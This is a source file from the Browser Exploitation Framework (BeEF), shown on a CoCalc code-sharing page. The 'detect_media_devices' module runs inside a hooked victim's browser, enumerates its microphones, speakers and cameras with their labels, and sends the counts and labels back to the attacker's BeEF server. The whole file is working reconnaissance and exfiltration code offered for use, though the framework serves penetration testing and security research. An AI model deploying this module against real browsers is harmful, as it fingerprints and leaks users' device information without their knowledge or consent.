Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/browser/detect_media_devices/command.js
4598 views
1
//
2
// Copyright (c) 2006-2026 Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function () {
8
if (typeof navigator.mediaDevices === 'undefined' ||
9
typeof navigator.mediaDevices.enumerateDevices !== 'function') {
10
beef.net.send("<%= @command_url %>", <%= @command_id %>,
11
"error=" + encodeURIComponent("API not available in this browser"),
12
beef.status.error());
13
return;
14
}
15
16
navigator.mediaDevices.enumerateDevices()
17
.then(function (devices) {
18
var result = {
19
audioinput: { count: 0, labels: [] },
20
audiooutput: { count: 0, labels: [] },
21
videoinput: { count: 0, labels: [] }
22
};
23
devices.forEach(function (device) {
24
if (result[device.kind]) {
25
result[device.kind].count++;
26
if (device.label) {
27
result[device.kind].labels.push(device.label);
28
}
29
}
30
});
31
32
var body =
33
"audioinput_count=" + result.audioinput.count +
34
"&audioinput_labels=" + encodeURIComponent(result.audioinput.labels.join(", ")) +
35
"&audiooutput_count=" + result.audiooutput.count +
36
"&audiooutput_labels=" + encodeURIComponent(result.audiooutput.labels.join(", ")) +
37
"&videoinput_count=" + result.videoinput.count +
38
"&videoinput_labels=" + encodeURIComponent(result.videoinput.labels.join(", "));
39
40
beef.net.send("<%= @command_url %>", <%= @command_id %>, body, beef.status.success());
41
})
42
.catch(function (err) {
43
beef.net.send("<%= @command_url %>", <%= @command_id %>,
44
"error=" + encodeURIComponent("Error: " + (err.message || String(err))),
45
beef.status.error());
46
});
47
});
48
49